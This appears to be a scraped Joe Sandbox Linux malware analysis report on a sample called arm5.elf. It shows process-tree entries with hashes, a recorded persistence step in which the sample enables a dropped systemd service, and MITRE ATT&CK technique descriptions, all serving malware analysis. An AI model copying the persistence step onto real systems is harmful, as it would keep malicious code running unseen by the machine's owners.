Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Chronological Activities

Analysis Process: arm5.elf PID: 6465, Parent PID: 6255

General

Start time (UTC):	17:42:07
Start date (UTC):	01/01/2025
Path:	/tmp/arm5.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Chronological Activities

Analysis Process: arm5.elf PID: 6494, Parent PID: 6255

General

Start time (UTC):	17:42:12
Start date (UTC):	01/01/2025
Path:	/tmp/arm5.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Chronological Activities

Analysis Process: arm5.elf PID: 6497, Parent PID: 6255

General

Start time (UTC):	17:42:12
Start date (UTC):	01/01/2025
Path:	/tmp/arm5.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Chronological Activities

Analysis Process: arm5.elf PID: 6503, Parent PID: 6255

General

Start time (UTC):	17:42:15
Start date (UTC):	01/01/2025
Path:	/tmp/arm5.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Chronological Activities

Analysis Process: arm5.elf PID: 6512, Parent PID: 6255

General

Start time (UTC):	17:42:17
Start date (UTC):	01/01/2025
Path:	/tmp/arm5.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Chronological Activities

Analysis Process: arm5.elf PID: 6514, Parent PID: 6255

General

Start time (UTC):	17:42:17
Start date (UTC):	01/01/2025
Path:	/tmp/arm5.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Chronological Activities

Analysis Process: arm5.elf PID: 6523, Parent PID: 6255

General

Start time (UTC):	17:42:22
Start date (UTC):	01/01/2025
Path:	/tmp/arm5.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Chronological Activities

Analysis Process: arm5.elf PID: 6525, Parent PID: 6255

General

Start time (UTC):	17:42:22
Start date (UTC):	01/01/2025
Path:	/tmp/arm5.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Chronological Activities

Analysis Process: arm5.elf PID: 6555, Parent PID: 6255

General

Start time (UTC):	17:42:29
Start date (UTC):	01/01/2025
Path:	/tmp/arm5.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Chronological Activities

Analysis Process: arm5.elf PID: 6558, Parent PID: 6255

General

Start time (UTC):	17:42:29
Start date (UTC):	01/01/2025
Path:	/tmp/arm5.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Chronological Activities

Analysis Process: arm5.elf PID: 6571, Parent PID: 6255

General

Start time (UTC):	17:42:37
Start date (UTC):	01/01/2025
Path:	/tmp/arm5.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Chronological Activities

Analysis Process: arm5.elf PID: 6577, Parent PID: 6255

General

Start time (UTC):	17:42:37
Start date (UTC):	01/01/2025
Path:	/tmp/arm5.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Chronological Activities

Analysis Process: arm5.elf PID: 6586, Parent PID: 6255

General

Start time (UTC):	17:42:45
Start date (UTC):	01/01/2025
Path:	/tmp/arm5.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Chronological Activities

Analysis Process: arm5.elf PID: 6589, Parent PID: 6255

General

Start time (UTC):	17:42:45
Start date (UTC):	01/01/2025
Path:	/tmp/arm5.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Chronological Activities

Analysis Process: arm5.elf PID: 6596, Parent PID: 6255

General

Start time (UTC):	17:42:45
Start date (UTC):	01/01/2025
Path:	/tmp/arm5.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Chronological Activities

Analysis Process: arm5.elf PID: 6602, Parent PID: 6255

General

Start time (UTC):	17:42:52
Start date (UTC):	01/01/2025
Path:	/tmp/arm5.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Chronological Activities

Analysis Process: arm5.elf PID: 6605, Parent PID: 6255

General

Start time (UTC):	17:42:52
Start date (UTC):	01/01/2025
Path:	/tmp/arm5.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Chronological Activities

Analysis Process: arm5.elf PID: 6607, Parent PID: 6255

General

Start time (UTC):	17:42:52
Start date (UTC):	01/01/2025
Path:	/tmp/arm5.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Chronological Activities

Analysis Process: arm5.elf PID: 6616, Parent PID: 6255

General

Start time (UTC):	17:43:00
Start date (UTC):	01/01/2025
Path:	/tmp/arm5.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Chronological Activities

Analysis Process: arm5.elf PID: 6618, Parent PID: 6255

General

Start time (UTC):	17:43:00
Start date (UTC):	01/01/2025
Path:	/tmp/arm5.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Chronological Activities

Analysis Process: arm5.elf PID: 6622, Parent PID: 6255

General

Start time (UTC):	17:43:00
Start date (UTC):	01/01/2025
Path:	/tmp/arm5.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Chronological Activities

Analysis Process: arm5.elf PID: 6632, Parent PID: 6255

General

Start time (UTC):	17:43:07
Start date (UTC):	01/01/2025
Path:	/tmp/arm5.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Chronological Activities

Analysis Process: arm5.elf PID: 6637, Parent PID: 6255

General

Start time (UTC):	17:43:07
Start date (UTC):	01/01/2025
Path:	/tmp/arm5.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Chronological Activities

Analysis Process: arm5.elf PID: 6646, Parent PID: 6255

General

Start time (UTC):	17:43:12
Start date (UTC):	01/01/2025
Path:	/tmp/arm5.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Chronological Activities

Analysis Process: arm5.elf PID: 6651, Parent PID: 6255

General

Start time (UTC):	17:43:15
Start date (UTC):	01/01/2025
Path:	/tmp/arm5.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Chronological Activities

Analysis Process: arm5.elf PID: 6662, Parent PID: 6255

General

Start time (UTC):	17:43:22
Start date (UTC):	01/01/2025
Path:	/tmp/arm5.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Chronological Activities

Analysis Process: arm5.elf PID: 6664, Parent PID: 6255

General

Start time (UTC):	17:43:22
Start date (UTC):	01/01/2025
Path:	/tmp/arm5.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Chronological Activities

Analysis Process: arm5.elf PID: 6673, Parent PID: 6255

General

Start time (UTC):	17:43:30
Start date (UTC):	01/01/2025
Path:	/tmp/arm5.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Chronological Activities

Analysis Process: arm5.elf PID: 6679, Parent PID: 6255

General

Start time (UTC):	17:43:30
Start date (UTC):	01/01/2025
Path:	/tmp/arm5.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Chronological Activities

Analysis Process: arm5.elf PID: 6691, Parent PID: 6255

General

Start time (UTC):	17:43:37
Start date (UTC):	01/01/2025
Path:	/tmp/arm5.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Chronological Activities

Analysis Process: arm5.elf PID: 6693, Parent PID: 6255

General

Start time (UTC):	17:43:37
Start date (UTC):	01/01/2025
Path:	/tmp/arm5.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Chronological Activities

Analysis Process: arm5.elf PID: 6700, Parent PID: 6255

General

Start time (UTC):	17:43:45
Start date (UTC):	01/01/2025
Path:	/tmp/arm5.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Chronological Activities

Analysis Process: arm5.elf PID: 6703, Parent PID: 6255

General

Start time (UTC):	17:43:45
Start date (UTC):	01/01/2025
Path:	/tmp/arm5.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Chronological Activities

Analysis Process: arm5.elf PID: 6706, Parent PID: 6255

General

Start time (UTC):	17:43:45
Start date (UTC):	01/01/2025
Path:	/tmp/arm5.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Chronological Activities

Analysis Process: arm5.elf PID: 6716, Parent PID: 6255

General

Start time (UTC):	17:43:52
Start date (UTC):	01/01/2025
Path:	/tmp/arm5.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Chronological Activities

Analysis Process: arm5.elf PID: 6723, Parent PID: 6255

General

Start time (UTC):	17:43:52
Start date (UTC):	01/01/2025
Path:	/tmp/arm5.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Chronological Activities

Analysis Process: arm5.elf PID: 6257, Parent PID: 6253

General

Start time (UTC):	17:41:48
Start date (UTC):	01/01/2025
Path:	/tmp/arm5.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Chronological Activities

Analysis Process: arm5.elf PID: 6262, Parent PID: 6257

General

Start time (UTC):	17:41:49
Start date (UTC):	01/01/2025
Path:	/tmp/arm5.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Chronological Activities

Analysis Process: arm5.elf PID: 6260, Parent PID: 6253

General

Start time (UTC):	17:41:48
Start date (UTC):	01/01/2025
Path:	/tmp/arm5.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Chronological Activities

Analysis Process: sh PID: 6260, Parent PID: 6253

General

Start time (UTC):	17:41:48
Start date (UTC):	01/01/2025
Path:	/bin/sh
Arguments:	sh -c "systemctl daemon-reload"
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: sh PID: 6264, Parent PID: 6260

General

Start time (UTC):	17:41:49
Start date (UTC):	01/01/2025
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: systemctl PID: 6264, Parent PID: 6260

General

Start time (UTC):	17:41:49
Start date (UTC):	01/01/2025
Path:	/usr/bin/systemctl
Arguments:	systemctl daemon-reload
File size:	996584 bytes
MD5 hash:	4deddfb6741481f68aeac522cc26ff4b

Chronological Activities

Analysis Process: arm5.elf PID: 6269, Parent PID: 6253

General

Start time (UTC):	17:41:49
Start date (UTC):	01/01/2025
Path:	/tmp/arm5.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Chronological Activities

Analysis Process: sh PID: 6269, Parent PID: 6253

General

Start time (UTC):	17:41:49
Start date (UTC):	01/01/2025
Path:	/bin/sh
Arguments:	sh -c "systemctl enable startup_command.service"
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: sh PID: 6271, Parent PID: 6269

General

Start time (UTC):	17:41:49
Start date (UTC):	01/01/2025
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: systemctl PID: 6271, Parent PID: 6269

General

Start time (UTC):	17:41:49
Start date (UTC):	01/01/2025
Path:	/usr/bin/systemctl
Arguments:	systemctl enable startup_command.service
File size:	996584 bytes
MD5 hash:	4deddfb6741481f68aeac522cc26ff4b

Chronological Activities

Analysis Process: systemd PID: 6266, Parent PID: 6265

General

Start time (UTC):	17:41:49
Start date (UTC):	01/01/2025
Path:	/usr/lib/systemd/systemd
Arguments:	-
File size:	1620224 bytes
MD5 hash:	9b2bec7092a40488108543f9334aab75

Chronological Activities

Analysis Process: snapd-env-generator PID: 6266, Parent PID: 6265

General

Start time (UTC):	17:41:49
Start date (UTC):	01/01/2025
Path:	/usr/lib/systemd/system-environment-generators/snapd-env-generator
Arguments:	/usr/lib/systemd/system-environment-generators/snapd-env-generator
File size:	22760 bytes
MD5 hash:	3633b075f40283ec938a2a6a89671b0e

Chronological Activities

Analysis Process: systemd PID: 6273, Parent PID: 6272

General

Start time (UTC):	17:41:50
Start date (UTC):	01/01/2025
Path:	/usr/lib/systemd/systemd
Arguments:	-
File size:	1620224 bytes
MD5 hash:	9b2bec7092a40488108543f9334aab75

Chronological Activities

Analysis Process: snapd-env-generator PID: 6273, Parent PID: 6272

General

Start time (UTC):	17:41:50
Start date (UTC):	01/01/2025
Path:	/usr/lib/systemd/system-environment-generators/snapd-env-generator
Arguments:	/usr/lib/systemd/system-environment-generators/snapd-env-generator
File size:	22760 bytes
MD5 hash:	3633b075f40283ec938a2a6a89671b0e

Chronological Activities

Analysis Process: gnome-session-binary PID: 6275, Parent PID: 1477

General

Start time (UTC):	17:41:51
Start date (UTC):	01/01/2025
Path:	/usr/libexec/gnome-session-binary
Arguments:	-
File size:	334664 bytes
MD5 hash:	d9b90be4f7db60cb3c2d3da6a1d31bfb

Chronological Activities

Analysis Process: sh PID: 6275, Parent PID: 1477

General

Start time (UTC):	17:41:51
Start date (UTC):	01/01/2025
Path:	/bin/sh
Arguments:	/bin/sh -e -u -c "export GIO_LAUNCHED_DESKTOP_FILE_PID=$$; exec \"$@\"" sh /usr/libexec/gsd-rfkill
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: gsd-rfkill PID: 6275, Parent PID: 1477

General

Start time (UTC):	17:41:51
Start date (UTC):	01/01/2025
Path:	/usr/libexec/gsd-rfkill
Arguments:	/usr/libexec/gsd-rfkill
File size:	51808 bytes
MD5 hash:	88a16a3c0aba1759358c06215ecfb5cc

Chronological Activities

Analysis Process: systemd PID: 6280, Parent PID: 1

General

Start time (UTC):	17:41:52
Start date (UTC):	01/01/2025
Path:	/usr/lib/systemd/systemd
Arguments:	-
File size:	1620224 bytes
MD5 hash:	9b2bec7092a40488108543f9334aab75

Chronological Activities

Analysis Process: systemd-hostnamed PID: 6280, Parent PID: 1

General

Start time (UTC):	17:41:52
Start date (UTC):	01/01/2025
Path:	/lib/systemd/systemd-hostnamed
Arguments:	/lib/systemd/systemd-hostnamed
File size:	35040 bytes
MD5 hash:	2cc8a5576629a2d5bd98e49a4b8bef65

Chronological Activities

Analysis Process: gdm3 PID: 6413, Parent PID: 1320

General

Start time (UTC):	17:41:53
Start date (UTC):	01/01/2025
Path:	/usr/sbin/gdm3
Arguments:	-
File size:	453296 bytes
MD5 hash:	2492e2d8d34f9377e3e530a61a15674f

Chronological Activities

Analysis Process: Default PID: 6413, Parent PID: 1320

General

Start time (UTC):	17:41:53
Start date (UTC):	01/01/2025
Path:	/etc/gdm3/PrimeOff/Default
Arguments:	/etc/gdm3/PrimeOff/Default
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: gdm3 PID: 6414, Parent PID: 1320

General

Start time (UTC):	17:41:53
Start date (UTC):	01/01/2025
Path:	/usr/sbin/gdm3
Arguments:	-
File size:	453296 bytes
MD5 hash:	2492e2d8d34f9377e3e530a61a15674f

Chronological Activities

Analysis Process: Default PID: 6414, Parent PID: 1320

General

Start time (UTC):	17:41:53
Start date (UTC):	01/01/2025
Path:	/etc/gdm3/PrimeOff/Default
Arguments:	/etc/gdm3/PrimeOff/Default
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create or modify systemd services to repeatedly execute malicious payloads as part of persistence. Systemd is a system and service manager commonly used for managing background daemon processes (also known as services) and other system resources.Systemd is the default initialization (init) system on many Linux distributions replacing legacy init systems, including SysVinit and Upstart, while remaining backwards compatible.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Creation, File: File Modification, Process: Process Creation, Service: Service Creation, Service: Service Modification
Platforms:	Linux
Url:	Open detailed description by Mitre

Description:	Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches ( `dir /a` for Windows and `ls –a` for Linux and macOS).
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete or modify artifacts generated within systems to remove evidence of their presence or hinder defenses. Various artifacts may be created by an adversary or something that can be attributed to an adversary’s actions. Typically these artifacts are used as defensive indicators related to monitored events, such as strings from downloaded files, logs that are generated from user actions, and other data analyzed by defenders. Location, format, and type of artifact (such as command or login history) are often specific to each platform.
Tactics:	Defense Evasion
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Deletion, File: File Metadata, File: File Modification, Firewall: Firewall Rule Modification, Network Traffic: Network Traffic Content, Process: OS API Execution, Process: Process Creation, Scheduled Job: Scheduled Job Modification, User Account: User Account Authentication, User Account: User Account Deletion, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, Google Workspace, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: Ingress Tool Transfer ) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Deletion
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Linux Analysis Report arm5.elf

Overview

General Information

Detection

Signatures

Classification

General Information

Warnings

Runtime Messages

Process Tree

Yara Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Spreading

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

/etc/systemd/system/startup_command.service

/memfd:snapd-env-generator (deleted)

/tmp/qemu-open.3Oc7gU (deleted)

Static File Info

General

Static ELF Info

ELF header

Sections

Program Segments

Network Behavior

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

DNS Answers

System Behavior

Analysis Process: dash PID: 6223, Parent PID: 4331

General

Chronological Activities

Analysis Process: rm PID: 6223, Parent PID: 4331

General

Chronological Activities

Analysis Process: dash PID: 6224, Parent PID: 4331

General

Chronological Activities

Analysis Process: rm PID: 6224, Parent PID: 4331

General

Chronological Activities

Analysis Process: arm5.elf PID: 6251, Parent PID: 6151

General

Chronological Activities

Analysis Process: arm5.elf PID: 6253, Parent PID: 6251

Linux Analysis Report
arm5.elf